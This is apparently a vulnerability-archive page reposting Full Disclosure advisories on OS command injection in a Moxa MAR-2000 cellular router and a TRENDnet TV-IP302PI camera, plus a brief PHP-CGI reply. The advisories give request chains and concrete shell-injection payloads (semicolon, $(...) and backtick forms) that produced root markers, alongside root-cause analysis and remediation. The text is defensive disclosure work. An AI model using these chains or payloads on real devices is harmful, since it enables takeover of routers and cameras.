Organization

Vulnerability Disclosure Archive

GNA-1988

GNA identifier
GNA-1988 GCVE registry Recent publications

Recent vulnerabilities

581 GCVE records assigned by this organization as GNA-1988

GCVE-1988-2026-0502

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[0day-rubbish] Moxa MAR-2000 firmware FWR_MAR2000_V1.0_Build_15010909 command injection in the Executer program activation path (7.2)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in the Moxa MAR-2000 series industrial 4G/LTE cellular router, firmware image FWR_MAR2000_V1.0_Build_15010909, from Moxa Inc. (Taiwan). An authenticated administrator converts one stored configuration field into arbitrary command execution as the identity of the product's model process, because the Executer model builds the launch command of an operator program as a shell string whose program-argument column is never validated by any layer of the backend. This is one of three independent command injection findings documented for this product and released together as a set. Type and root cause. CWE-78, OS command injection, with CWE-20 co-equal, in the Executer model at /home/model/system/executer/executer.py inside the ARM Debian 6.0.8 root filesystem of the firmware, which runs the vendor's MIRF (Mobile Intelligent Routing Framework) stack: a Node.js Express 4.0 management application on port 80 bound to all interfaces, the express-sanji middleware bridging REST resources onto a local MQTT broker, and Python 2.6 model scripts that persist configuration and act on it. The model stores one row per operator program in an SQLite table whose columns include fileName and argument. On activation it assembles the command as str(execute_file) + " " + str(argument) and launches it with subprocess.Popen(full_command, shell=True, preexec_fn=os.setsid), where the row's argument bytes are concatenated verbatim and shell=True delegates the parsing to /bin/sh: semicolons, background operators, pipes, backticks and command substitution all have their ordinary meaning. The value's provenance is a database column set by an HTTP request: the row writer is generic, taking every key of the PUT /api/v1/system/executer/program/<id> request's data object and committing it with a plain SQL UPDATE ... SET ... statement, with no per-column semantics anywhere on the write path. The only gate on execution is a liveness check - the file must exist under the user-program directory - and the product's own multipart upload route, POST /api/v1/system/executer/program, satisfies it: the upload applies only a filename normalisation, with no allowed-type list and no file filter. The chain is therefore: log in, upload a benign script through the product's own route, store "; <command>; #" in the row's argument field, and activate the row with PUT /api/v1/system/executer/activatedProgram carrying programId and runBit 1. The shell runs the uploaded script first, the semicolon ends it, the injected statement runs, and the trailing hash comments out the rest of the line. The same model contains a second, structurally identical sink in its deletion path: it builds "rm -rf %s" from the row's unvalidated fileName column and executes it with subprocess.call(..., shell=True), guarded only by a comparison of the raw value against a single slash, which blocks exactly one value and nothing else, and requires no upload and no activation. The two-request chain looks like this after login: ``` [1] POST /api/v1/system/executer/program multipart, benign script -> stored under the user-program directory [2] PUT /api/v1/system/executer/program/<id> {"data": {"fileName": "<uploaded basename>", "argument": "; <command>; #"}} -> generic row writer commits both columns verbatim (SQLite) [3] PUT /api/v1/system/executer/activatedProgram {"data": {"programId": <id>, "runBit": 1}} -> Popen("<dir>/<file> ; <command>; #", shell=True) ``` Authentication and reach. The validateUser middleware is the only authentication check on the REST surface: it requires a server-side session for every non-GET method, and login is POST /api/login compared against bcrypt-hashed entries in the SQLite user table. Past that check there is no second authorisation layer - the message bridge performs no permission translation and the broker leg carries no identity - so the product's single documented role, the device administrator, is the whole security boundary. The listener binds all interfaces on port 80 in the shipped firmware; no WAN exposure is assumed anywhere in the published rating. Severity. The published score is 7.2 High, CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from ISS = 0.914816, impact 5.873119, exploitability 1.234708 and base 7.107826 rounded up to 7.2, Privileges Required High being the product's single administrator role. A labelled conditional and never the headline: where a deployment still runs the factory default administrator pair carried by the shipped firmware's SQLite user table, the prerequisite collapses and the chain reads 9.8 Critical on the PR:N vector (exploitability 3.887043, base 9.760161); a changed credential removes it, and the default pair is disclosed as a separate weakness, never folded into the published vector. A PR:L reading of 8.8 High is published only as the arithmetic of the rejected variant. The score provenance is disclosed in public: the research record behind this advisory carried 8.8 for all three same-product findings, that figure is the arithmetic of a PR:L vector, no artefact shows a lower-privileged product role, and every published number was recomputed from its own vector - which lowered the researchers' own figure by 1.6 points. A Scope-Changed reading computes to 9.1 and is deliberately not published, because the model process belongs to the same single-purpose appliance authority, and commanding the appliance's own operating system through its management plane is the product's design rather than an escape. Verification method, and its boundary. Two evidence classes carry the finding, kept separate in the published advisory. The firmware's own application sources establish the entry path, the storage semantics and the exact sink construction, read from the shipped files. The dynamic layer is a sink-level replication on an isolated cloud Linux sandbox: the model's exact concatenation with the shell=True launch, carrying a benign upload stand-in, an injection payload and a benign control; with the payload in the argument position a marker file containing uid=0(root) was created, and the control produced the benign program launch and nothing else. The deletion construction was replicated with the same method and also produced its marker. The boundary is stated plainly: end-to-end detonation against powered-on hardware is outside this research record, and the identity of the model process on the device was neither measured nor claimed - uid=0(root) is the replication sandbox's identity and nothing broader rests on it. Impact. Arbitrary command execution as the identity of the Python model process, begun by one authenticated configuration write and one activation request, with no memory corruption and no protocol manipulation in the chain. The command line is a stored configuration value that persists across reboots and re-executes on every activation of the row, so the payload is reboot-durable without persistence work by the attacker. The deletion sink extends the class to a field reachable without any upload and allows destructive filesystem operations wherever the injected metacharacters lead. The compromise yields the router's complete configuration, control of its forwarding and cellular function, and availability at will over a device deployed as communication infrastructure. The two requests that matter are indistinguishable in shape from ordinary administrator activity, so the readable signals are content-level: program rows whose argument contains shell metacharacters, unexpected files in the user-program directory, unexpected child processes under the model daemon. The web stack's separate property of answering unauthenticated GET requests across the API surface is a read-exposure issue reported on its own and is not part of this chain. Remediation: execute activated programs without a shell, with the executable path and the argument as separate execv-style arguments; validate the argument at the row-write boundary in the model rather than only in a web form; constrain fileName to the set of stored uploads and associate rows to files by an opaque server-side handle; rebuild the deletion path with an argument vector; restrict the multipart upload to executable-basename types and add a regression test that writes a metacharacter-bearing argument, activates the row, and asserts rejection at write time or execution without shell interpretation. Operators until a patch exists: change the factory default administrator credential at commissioning, keep the management listener off WAN-facing addresses, audit the program table and user-program directory on a schedule, and disable the Executer feature where operator programs are not used. Proof of concept. The published tool is a standard-library-only Python 3 client that drives the full chain: it logs in, uploads a benign two-line shell script through the multipart route, writes the argument payload into a chosen row, activates the row, and reports; it verifies both the write and the activation responses and exits non-zero with an explicit message at each failure point. Target, credential, row id, marker command and timeouts are arguments; the default target is loopback. No persistence, no reverse shell, no destructive action; the default command writes a single marker file so the outcome is observable without a second channel. Use it only against systems you own or are authorised to test. The vendor's product security team mailbox, published on the vendor's own security advisories page, was used for the unconditional notification; no report form was submitted and no individual was addressed by name. This disclosure is unconditional: the research is published, no permission was asked for, no embargo was requested, nothing is withheld pending a reply, and remediation questions are answered at no cost. No vulnerability identifier has been assigned to this finding. Two companion advisories for the same product are published alongside this one, independent findings that share only the entry architecture - a different model file, REST resource, configuration field and sink each: an IPsec tunnel address injection through the route-management shell commands, and a scenario ping condition injection through the auto-executing ping thread, both at the second and third URLs below. Full technical analysis and the reproducible proof of concept, published unconditionally: https://0day-rubbish.com/blog/mar-2000-executer-program-argument-command-injection Companion advisories for the same product, independent findings: https://0day-rubbish.com/blog/mar-2000-network-ipsec-command-injection https://0day-rubbish.com/blog/mar-2000-scenario-ping-command-injection Project archive (ongoing disclosure series): https://github.com/Exploit-Garbage/0day-Rubbish -- 0day Rubbish Research Team disclosure () 0day-rubbish com https://0day-rubbish.com _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Moxa MAR-2000 firmware Affected: unknown
Create a notification for this product.

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          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in the Moxa\nMAR-2000 series industrial 4G/LTE cellular router, firmware image\nFWR_MAR2000_V1.0_Build_15010909, from Moxa Inc. (Taiwan). An authenticated\nadministrator converts one stored configuration field into arbitrary command\nexecution as the identity of the product\u0027s model process, because the\nExecuter model builds the launch command of an operator program as a shell\nstring whose program-argument column is never validated by any layer of the\nbackend. This is one of three independent command injection findings\ndocumented for this product and released together as a set.\n\nType and root cause. CWE-78, OS command injection, with CWE-20 co-equal, in\nthe Executer model at /home/model/system/executer/executer.py inside the\nARM Debian 6.0.8 root filesystem of the firmware, which runs the vendor\u0027s\nMIRF (Mobile Intelligent Routing Framework) stack: a Node.js Express 4.0\nmanagement application on port 80 bound to all interfaces, the express-sanji\nmiddleware bridging REST resources onto a local MQTT broker, and Python 2.6\nmodel scripts that persist configuration and act on it. The model stores\none row per operator program in an SQLite table whose columns include\nfileName and argument. On activation it assembles the command as\nstr(execute_file) + \" \" + str(argument) and launches it with\nsubprocess.Popen(full_command, shell=True, preexec_fn=os.setsid), where the\nrow\u0027s argument bytes are concatenated verbatim and shell=True delegates the\nparsing to /bin/sh: semicolons, background operators, pipes, backticks and\ncommand substitution all have their ordinary meaning. The value\u0027s\nprovenance is a database column set by an HTTP request: the row writer is\ngeneric, taking every key of the PUT /api/v1/system/executer/program/\u003cid\u003e\nrequest\u0027s data object and committing it with a plain SQL\nUPDATE ... SET ... statement, with no per-column semantics anywhere on the\nwrite path. The only gate on execution is a liveness check - the file must\nexist under the user-program directory - and the product\u0027s own multipart\nupload route, POST /api/v1/system/executer/program, satisfies it: the upload\napplies only a filename normalisation, with no allowed-type list and no file\nfilter. The chain is therefore: log in, upload a benign script through the\nproduct\u0027s own route, store \"; \u003ccommand\u003e; #\" in the row\u0027s argument field, and\nactivate the row with PUT /api/v1/system/executer/activatedProgram carrying\nprogramId and runBit 1. The shell runs the uploaded script first, the\nsemicolon ends it, the injected statement runs, and the trailing hash\ncomments out the rest of the line. The same model contains a second,\nstructurally identical sink in its deletion path: it builds\n\"rm -rf %s\" from the row\u0027s unvalidated fileName column and executes it with\nsubprocess.call(..., shell=True), guarded only by a comparison of the raw\nvalue against a single slash, which blocks exactly one value and nothing\nelse, and requires no upload and no activation.\n\nThe two-request chain looks like this after login:\n\n```\n[1] POST /api/v1/system/executer/program      multipart, benign script\n    -\u003e stored under the user-program directory\n[2] PUT  /api/v1/system/executer/program/\u003cid\u003e\n    {\"data\": {\"fileName\": \"\u003cuploaded basename\u003e\",\n              \"argument\": \"; \u003ccommand\u003e; #\"}}\n    -\u003e generic row writer commits both columns verbatim (SQLite)\n[3] PUT  /api/v1/system/executer/activatedProgram\n    {\"data\": {\"programId\": \u003cid\u003e, \"runBit\": 1}}\n    -\u003e Popen(\"\u003cdir\u003e/\u003cfile\u003e ; \u003ccommand\u003e; #\", shell=True)\n```\n\nAuthentication and reach. The validateUser middleware is the only\nauthentication check on the REST surface: it requires a server-side session\nfor every non-GET method, and login is POST /api/login compared against\nbcrypt-hashed entries in the SQLite user table. Past that check there is no\nsecond authorisation layer - the message bridge performs no permission\ntranslation and the broker leg carries no identity - so the product\u0027s single\ndocumented role, the device administrator, is the whole security boundary.\nThe listener binds all interfaces on port 80 in the shipped firmware; no\nWAN exposure is assumed anywhere in the published rating.\n\nSeverity. The published score is 7.2 High,\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from ISS = 0.914816, impact\n5.873119, exploitability 1.234708 and base 7.107826 rounded up to 7.2,\nPrivileges Required High being the product\u0027s single administrator role. A\nlabelled conditional and never the headline: where a deployment still runs\nthe factory default administrator pair carried by the shipped firmware\u0027s\nSQLite user table, the prerequisite collapses and the chain reads 9.8\nCritical on the PR:N vector (exploitability 3.887043, base 9.760161); a\nchanged credential removes it, and the default pair is disclosed as a\nseparate weakness, never folded into the published vector. A PR:L reading\nof 8.8 High is published only as the arithmetic of the rejected variant. The\nscore provenance is disclosed in public: the research record behind this\nadvisory carried 8.8 for all three same-product findings, that figure is the\narithmetic of a PR:L vector, no artefact shows a lower-privileged product\nrole, and every published number was recomputed from its own vector - which\nlowered the researchers\u0027 own figure by 1.6 points. A Scope-Changed reading\ncomputes to 9.1 and is deliberately not published, because the model\nprocess belongs to the same single-purpose appliance authority, and\ncommanding the appliance\u0027s own operating system through its management\nplane is the product\u0027s design rather than an escape.\n\nVerification method, and its boundary. Two evidence classes carry the\nfinding, kept separate in the published advisory. The firmware\u0027s own\napplication sources establish the entry path, the storage semantics and the\nexact sink construction, read from the shipped files. The dynamic layer is\na sink-level replication on an isolated cloud Linux sandbox: the model\u0027s\nexact concatenation with the shell=True launch, carrying a benign upload\nstand-in, an injection payload and a benign control; with the payload in the\nargument position a marker file containing uid=0(root) was created, and the\ncontrol produced the benign program launch and nothing else. The deletion\nconstruction was replicated with the same method and also produced its\nmarker. The boundary is stated plainly: end-to-end detonation against\npowered-on hardware is outside this research record, and the identity of the\nmodel process on the device was neither measured nor claimed - uid=0(root)\nis the replication sandbox\u0027s identity and nothing broader rests on it.\n\nImpact. Arbitrary command execution as the identity of the Python model\nprocess, begun by one authenticated configuration write and one activation\nrequest, with no memory corruption and no protocol manipulation in the\nchain. The command line is a stored configuration value that persists across\nreboots and re-executes on every activation of the row, so the payload is\nreboot-durable without persistence work by the attacker. The deletion sink\nextends the class to a field reachable without any upload and allows\ndestructive filesystem operations wherever the injected metacharacters\nlead. The compromise yields the router\u0027s complete configuration, control of\nits forwarding and cellular function, and availability at will over a\ndevice deployed as communication infrastructure. The two requests that\nmatter are indistinguishable in shape from ordinary administrator activity,\nso the readable signals are content-level: program rows whose argument\ncontains shell metacharacters, unexpected files in the user-program\ndirectory, unexpected child processes under the model daemon. The web\nstack\u0027s separate property of answering unauthenticated GET requests across\nthe API surface is a read-exposure issue reported on its own and is not\npart of this chain.\n\nRemediation: execute activated programs without a shell, with the\nexecutable path and the argument as separate execv-style arguments; validate\nthe argument at the row-write boundary in the model rather than only in a\nweb form; constrain fileName to the set of stored uploads and associate rows\nto files by an opaque server-side handle; rebuild the deletion path with an\nargument vector; restrict the multipart upload to executable-basename types\nand add a regression test that writes a metacharacter-bearing argument,\nactivates the row, and asserts rejection at write time or execution without\nshell interpretation. Operators until a patch exists: change the factory\ndefault administrator credential at commissioning, keep the management\nlistener off WAN-facing addresses, audit the program table and user-program\ndirectory on a schedule, and disable the Executer feature where operator\nprograms are not used.\n\nProof of concept. The published tool is a standard-library-only Python 3\nclient that drives the full chain: it logs in, uploads a benign two-line\nshell script through the multipart route, writes the argument payload into a\nchosen row, activates the row, and reports; it verifies both the write and\nthe activation responses and exits non-zero with an explicit message at each\nfailure point. Target, credential, row id, marker command and timeouts are\narguments; the default target is loopback. No persistence, no reverse shell,\nno destructive action; the default command writes a single marker file so\nthe outcome is observable without a second channel. Use it only against\nsystems you own or are authorised to test.\n\nThe vendor\u0027s product security team mailbox, published on the vendor\u0027s own\nsecurity advisories page, was used for the unconditional notification; no\nreport form was submitted and no individual was addressed by name. This\ndisclosure is unconditional: the research is published, no permission was\nasked for, no embargo was requested, nothing is withheld pending a reply,\nand remediation questions are answered at no cost. No vulnerability\nidentifier has been assigned to this finding.\n\nTwo companion advisories for the same product are published alongside this\none, independent findings that share only the entry architecture - a\ndifferent model file, REST resource, configuration field and sink each: an\nIPsec tunnel address injection through the route-management shell commands,\nand a scenario ping condition injection through the auto-executing ping\nthread, both at the second and third URLs below.\n\nFull technical analysis and the reproducible proof of concept, published\nunconditionally:\n  https://0day-rubbish.com/blog/mar-2000-executer-program-argument-command-injection\n\nCompanion advisories for the same product, independent findings:\n  https://0day-rubbish.com/blog/mar-2000-network-ipsec-command-injection\n  https://0day-rubbish.com/blog/mar-2000-scenario-ping-command-injection\n\nProject archive (ongoing disclosure series):\n  https://github.com/Exploit-Garbage/0day-Rubbish\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0501

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
Re: CVE-2026-109618: PHP-CGI Pointer Underflow → Remote Code Execution (CVSS 9.2)
Summary
Am 21.10.26 um 07:23 schrieb jose: CVE-2026-109618: Pointer underflow in PHP's CGI SAPI enables unauthenticated remote code execution. Best regards, Marius _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
PHP Group PHP Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0501 (this record)

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GCVE-1988-2026-0500

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[0day-rubbish] TRENDnet TV-IP302PI firmware 1.02.38 authenticated NTP server-address OS command injection to root command execution via a shell-form system() call (7.2 High, PR:H)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in TRENDnet TV-IP302PI firmware 1.02.38, the closed-source IP surveillance camera from TRENDnet (United States). The camera's application daemon is shipped at /hunt/hunt_server: an ARM 32-bit EABI5 version 5TE soft-float binary, dynamically linked against /lib/ld-linux.so.3, 4.5 MB and stripped. Its own string pool carries hunt_camera, HuntAudioConverter, HuntDataDirect and PPPoE_TV-IP302PI next to the TRENDnet brand identifier, which identifies the image as built on a Hunt Electronic camera platform OEM'd into this model. That provenance matters twice: it tells an operator that the same construction may exist in other products built on the same platform, and it tells a reader that this finding is specific to that platform's binary, its configuration-key name and its command template rather than to a generic NTP client. Type and root cause. OS command injection, CWE-78 primary, with CWE-20 improper input validation, and CWE-250 and CWE-269 contributing for the privilege shape. An authenticated administrator who sets the NTP server address has the value stored verbatim into the configuration parameter c64_Ntp_Server, at offset 0x9c inside the configuration structure. The only validation applied on the way in is a length cap: 48 bytes (0x30, via func_0x002a9ae0) on the HTTP form path and 64 bytes on the ONVIF SOAP path. No character is rejected. That same offset is later read back by the time-synchronisation path, formatted with %s, unquoted and unescaped, into the command template /hunt/msntp -ts %d -r %s & and handed to system(), which runs the string through /bin/sh -c. The shell re-parses it, so a semicolon, a $(...) command substitution or a backtick pair inside what is supposed to be a time-server address terminates the NTP client invocation and starts an arbitrary command in the daemon's own context. That context is uid=0(root): the web tier performs no privilege drop, the boa configuration file shipped in the image declares none, and the runtime configuration model recovered from the binary contains no unprivileged identity for the web tier to switch to. There is therefore no privilege-escalation stage in this chain and none is claimed or needed. The chain, link by link, with the offsets from the shipped binary. Link 1 is a configuration write. The parameter table maps the HTTP form field to the key c64_Ntp_Server, whose set callback at 0x2b668c compares the incoming value against the stored one, returns early if they match, and otherwise copies it into the slot. The decompiled shape is a bare strcpy. On a change the callback raises a configuration event, event 2, through func_0x001ecddc. That event is how the rest of the daemon learns that time synchronisation needs re-doing, and it is also why the write itself is the trigger: in the ordinary case no second request and no wait for a scheduled resynchronisation is required. Link 2 is command construction. The event handler at 0x371d88, registered inside fcn.002b700c, and the builder at 0x2760d0, called from the call site at 0x286264, both read the same offset config+0x9c that link 1 wrote, and format it: snprintf(buf, 0x100, *p_fmt_at_0x3ded60, /* "/hunt/msntp -ts %d -r %s &" */ *(cfg + 0xe4), /* the -ts flag: server-derived */ cfg + 0x9c); /* the address: attacker-supplied */ func_0x001efbac(handle, 10, buf); /* enqueue for the worker */ There is no quoting of any kind around the %s. The -ts flag comes from cfg+0xe4 and is not attacker-controlled; the address argument is, completely. That the write offset and the read offset are the same value is the load-bearing detail of the static half of this work, because it is what ties the tainted input to the tainted argument without anyone having to guess at a structure layout. Link 3 is execution. The enqueue helper func_0x001efbac hands the finished string to a queue worker that calls system(buf). The identification of system() as the final executor is STATIC evidence and is reported as such: system is referenced through the GOT entry at 0xc274, and that GOT slot is what distinguishes a system() call site from an execve call site with a prepared argv. No dynamic observation in this research watched the worker choose between the two forms. Under an argv-form invocation the address would have reached msntp as one argument element and every shell metacharacter inside it would have been inert text passed to a resolver, which is exactly why that distinction is the whole vulnerability rather than an implementation detail. Two protocols write one slot, so this is one vulnerability with two sources rather than two vulnerabilities. On the HTTP path the value arrives as POST parameter NtpIP to apply.cgi or SetTime.cgi inside an authenticated session. On the ONVIF path the same slot is written by the tds:SetNTP handler at 0x286218-0x286264, which applies its own 64-byte length check, no content check, and then calls fcn.002760d0 directly, so on that route the sink sits one call from the entry point instead of being reached through the event dispatch. A fix applied only to the HTTP form leaves the ONVIF entry point open, and the ONVIF path's larger cap is the more comfortable carrier for a longer payload. What validation is present and what is absent. Present: a length cap and nothing else. Absent: any parse of the value as an address, no inet_aton or inet_pton, no hostname-syntax check followed by re-serialisation of the resolved name; no character allow-list, although for a time-server field the correct alphabet is roughly [A-Za-z0-9._:-], which excludes every metacharacter in this chain; no deny-list for the semicolon, pipe, ampersand, dollar sign, backtick, parentheses, angle brackets, newline, carriage return or quote characters, so nothing rejects even the crudest payload; no quoting or escaping at the interpolation site; and no argv-form invocation of /hunt/msntp, which alone would have removed the shell from the picture and made all four preceding items unnecessary. The shape of the defect in one line: the value is checked for how long it is and never for what it is. A length cap of that kind exists to protect a fixed-size configuration slot from overrunning, and on that job it appears to work. Forty-eight bytes admits every injection form used in this research several times over, the shortest of which is 17 bytes. One sanitization-shaped behaviour that is not one is worth knowing before reproducing this: the set callback's strcmp early-return suppresses the change event when the new value is byte-identical to the stored one, so posting the same payload twice does not re-fire the sink. Vary the payload between attempts, for example by changing the marker filename, which costs one byte and changes nothing about the finding. Authentication, and what is credited. This is not an unauthenticated vulnerability and no unauthenticated variant of it is claimed. Every .cgi request passes a fail-closed HTTP Digest gate, with Basic also accepted: the challenge generator at 0x26be70 emits WWW-Authenticate: Digest, the connection handler at 0x26ed54 calls it at entry, credentials are evaluated through fcn.00268afc, an absent or wrong credential yields 401 and the handler does not fall through to the request's business logic, and the .cgi dispatch runs its authentication check through func_0026c248. The unauthenticated allow-list recovered from the binary is a static-content extension list covering html, htm, jpg, css, js, png, gif, txt, asp, avi, bmp, cab, exe, mov, swf and xpi, plus one snapshot path, CamImg*.jpg. No member of it is a configuration write and none reaches this sink. Two .cgi routes are genuinely unauthenticated, GetVer.cgi returning a version XML document and GetLanguage.cgi returning a language pack; both were examined for execution sinks and neither calls system() or popen(), so they are useful for fingerprinting only. The unauthenticated surface was swept for a path into the sink and the sweep came out negative, which is what makes the authentication statement here a finding rather than an assumption. The product's gate is present, centralised and fail-closed, and it is credited as such: this finding is explicitly not CWE-306 and not CWE-862. The camera gets the gate right and the argument construction wrong. The principal required is an administrator, and the evidence carries two different weights that should not be conflated. The credential requirement is structural and fail-closed, read out of the gate's own control flow. The role requirement specifically is read out of the privilege model recovered from the image, which defines five levels, i_UserPrivilege01 through i_UserPrivilege05, and places NTP configuration behind the administrator role; it was not differentially tested, because no account below administrator was available to test with and no comparison was ever run between a low-privilege write and an administrative one. The honest status of the PR:H rating is therefore "supported by the recovered privilege model" and nothing stronger, which is why the PR:L reading is published below as a labelled conditional rather than being papered over. Verification boundary, stated in full and up front, because it defines what is and is not being claimed. No physical camera was used at any point. No TV-IP302PI hardware was driven, no firmware image was booted onto hardware, no hunt_server process was started, no HTTP request was issued to the daemon during any phase of this work, and no request came from a second host. Nothing here is a live-device exploit and the research does not present itself as one. What the dynamic half actually was: a replica of the vulnerable call run inside the product's own extracted root filesystem. The vendor firmware image is an unencrypted ZIP container with five streams and the root filesystem in the third; that tree of 251 files was extracted, and on an isolated cloud sandbox the researchers chrooted into it and ran the camera's own busybox shell under qemu-arm-static user-mode ARM emulation, invoking the interpreter explicitly in the form qemu-arm-static /lib/ld-linux.so.3 --library-path /lib /bin/busybox sh -c "<command string>", with binfmt_misc registered for ARM ELF so that a shell inside the chroot could fork and exec the external ARM binaries in the same tree, and with /dev and /proc bind-mounted. What was executed under that harness was the exact command string the product's own builder produces from the product's own template, with attacker-chosen bytes in the address slot, run by the product's own shell in the product's own root filesystem. Four runs were made, three injection forms and one control: /hunt/msntp -ts 1 -r 1.1.1.1;/bin/busybox id > <marker>;# & marker content uid=0(root) gid=0(root) groups=0(root) marker owner root:root /hunt/msntp -ts 1 -r $(/bin/busybox id > <marker>) & marker content uid=0(root) gid=0(root) groups=0(root) marker owner root:root /hunt/msntp -ts 1 -r `/bin/busybox id > <marker>` & marker content uid=0(root) gid=0(root) groups=0(root) marker owner root:root /hunt/msntp -ts 1 -r 1.1.1.1 & marker absent - no file created Three metacharacter vectors each produced a root-owned marker; the benign control address 1.1.1.1, containing no metacharacter, produced none. Marker filenames are rendered here in shortened form because the recorded names carried an internal stage prefix that means nothing to a reader; the ownership, content and presence of each marker are reported exactly as recorded. The control is not decoration. The command template already invokes an external binary, /hunt/msntp, so a chroot harness is a place where a marker could in principle have been created by something other than the injection: a leftover file, the harness's own tooling, o
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products

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          "vendor": "Trendnet",
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          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in TRENDnet\nTV-IP302PI firmware 1.02.38, the closed-source IP surveillance camera from\nTRENDnet (United States). The camera\u0027s application daemon is shipped at\n/hunt/hunt_server: an ARM 32-bit EABI5 version 5TE soft-float binary,\ndynamically linked against /lib/ld-linux.so.3, 4.5 MB and stripped. Its own\nstring pool carries hunt_camera, HuntAudioConverter, HuntDataDirect and\nPPPoE_TV-IP302PI next to the TRENDnet brand identifier, which identifies the\nimage as built on a Hunt Electronic camera platform OEM\u0027d into this model. That\nprovenance matters twice: it tells an operator that the same construction may\nexist in other products built on the same platform, and it tells a reader that\nthis finding is specific to that platform\u0027s binary, its configuration-key name\nand its command template rather than to a generic NTP client.\n\nType and root cause. OS command injection, CWE-78 primary, with CWE-20 improper\ninput validation, and CWE-250 and CWE-269 contributing for the privilege shape.\nAn authenticated administrator who sets the NTP server address has the value\nstored verbatim into the configuration parameter c64_Ntp_Server, at offset 0x9c\ninside the configuration structure. The only validation applied on the way in is\na length cap: 48 bytes (0x30, via func_0x002a9ae0) on the HTTP form path and 64\nbytes on the ONVIF SOAP path. No character is rejected. That same offset is later\nread back by the time-synchronisation path, formatted with %s, unquoted and\nunescaped, into the command template\n\n    /hunt/msntp -ts %d -r %s \u0026\n\nand handed to system(), which runs the string through /bin/sh -c. The shell\nre-parses it, so a semicolon, a $(...) command substitution or a backtick pair\ninside what is supposed to be a time-server address terminates the NTP client\ninvocation and starts an arbitrary command in the daemon\u0027s own context. That\ncontext is uid=0(root): the web tier performs no privilege drop, the boa\nconfiguration file shipped in the image declares none, and the runtime\nconfiguration model recovered from the binary contains no unprivileged identity\nfor the web tier to switch to. There is therefore no privilege-escalation stage\nin this chain and none is claimed or needed.\n\nThe chain, link by link, with the offsets from the shipped binary.\n\nLink 1 is a configuration write. The parameter table maps the HTTP form field to\nthe key c64_Ntp_Server, whose set callback at 0x2b668c compares the incoming\nvalue against the stored one, returns early if they match, and otherwise copies\nit into the slot. The decompiled shape is a bare strcpy. On a change the callback\nraises a configuration event, event 2, through func_0x001ecddc. That event is how\nthe rest of the daemon learns that time synchronisation needs re-doing, and it is\nalso why the write itself is the trigger: in the ordinary case no second request\nand no wait for a scheduled resynchronisation is required.\n\nLink 2 is command construction. The event handler at 0x371d88, registered inside\nfcn.002b700c, and the builder at 0x2760d0, called from the call site at 0x286264,\nboth read the same offset config+0x9c that link 1 wrote, and format it:\n\n    snprintf(buf, 0x100,\n             *p_fmt_at_0x3ded60,  /* \"/hunt/msntp -ts %d -r %s \u0026\" */\n             *(cfg + 0xe4),       /* the -ts flag: server-derived */\n             cfg + 0x9c);         /* the address: attacker-supplied */\n    func_0x001efbac(handle, 10, buf);   /* enqueue for the worker */\n\nThere is no quoting of any kind around the %s. The -ts flag comes from cfg+0xe4\nand is not attacker-controlled; the address argument is, completely. That the\nwrite offset and the read offset are the same value is the load-bearing detail of\nthe static half of this work, because it is what ties the tainted input to the\ntainted argument without anyone having to guess at a structure layout.\n\nLink 3 is execution. The enqueue helper func_0x001efbac hands the finished string\nto a queue worker that calls system(buf). The identification of system() as the\nfinal executor is STATIC evidence and is reported as such: system is referenced\nthrough the GOT entry at 0xc274, and that GOT slot is what distinguishes a\nsystem() call site from an execve call site with a prepared argv. No dynamic\nobservation in this research watched the worker choose between the two forms.\nUnder an argv-form invocation the address would have reached msntp as one\nargument element and every shell metacharacter inside it would have been inert\ntext passed to a resolver, which is exactly why that distinction is the whole\nvulnerability rather than an implementation detail.\n\nTwo protocols write one slot, so this is one vulnerability with two sources rather\nthan two vulnerabilities. On the HTTP path the value arrives as POST parameter\nNtpIP to apply.cgi or SetTime.cgi inside an authenticated session. On the ONVIF\npath the same slot is written by the tds:SetNTP handler at 0x286218-0x286264,\nwhich applies its own 64-byte length check, no content check, and then calls\nfcn.002760d0 directly, so on that route the sink sits one call from the entry\npoint instead of being reached through the event dispatch. A fix applied only to\nthe HTTP form leaves the ONVIF entry point open, and the ONVIF path\u0027s larger cap\nis the more comfortable carrier for a longer payload.\n\nWhat validation is present and what is absent. Present: a length cap and nothing\nelse. Absent: any parse of the value as an address, no inet_aton or inet_pton, no\nhostname-syntax check followed by re-serialisation of the resolved name; no\ncharacter allow-list, although for a time-server field the correct alphabet is\nroughly [A-Za-z0-9._:-], which excludes every metacharacter in this chain; no\ndeny-list for the semicolon, pipe, ampersand, dollar sign, backtick, parentheses,\nangle brackets, newline, carriage return or quote characters, so nothing rejects\neven the crudest payload; no quoting or escaping at the interpolation site; and no\nargv-form invocation of /hunt/msntp, which alone would have removed the shell from\nthe picture and made all four preceding items unnecessary. The shape of the defect\nin one line: the value is checked for how long it is and never for what it is. A\nlength cap of that kind exists to protect a fixed-size configuration slot from\noverrunning, and on that job it appears to work. Forty-eight bytes admits every\ninjection form used in this research several times over, the shortest of which is\n17 bytes.\n\nOne sanitization-shaped 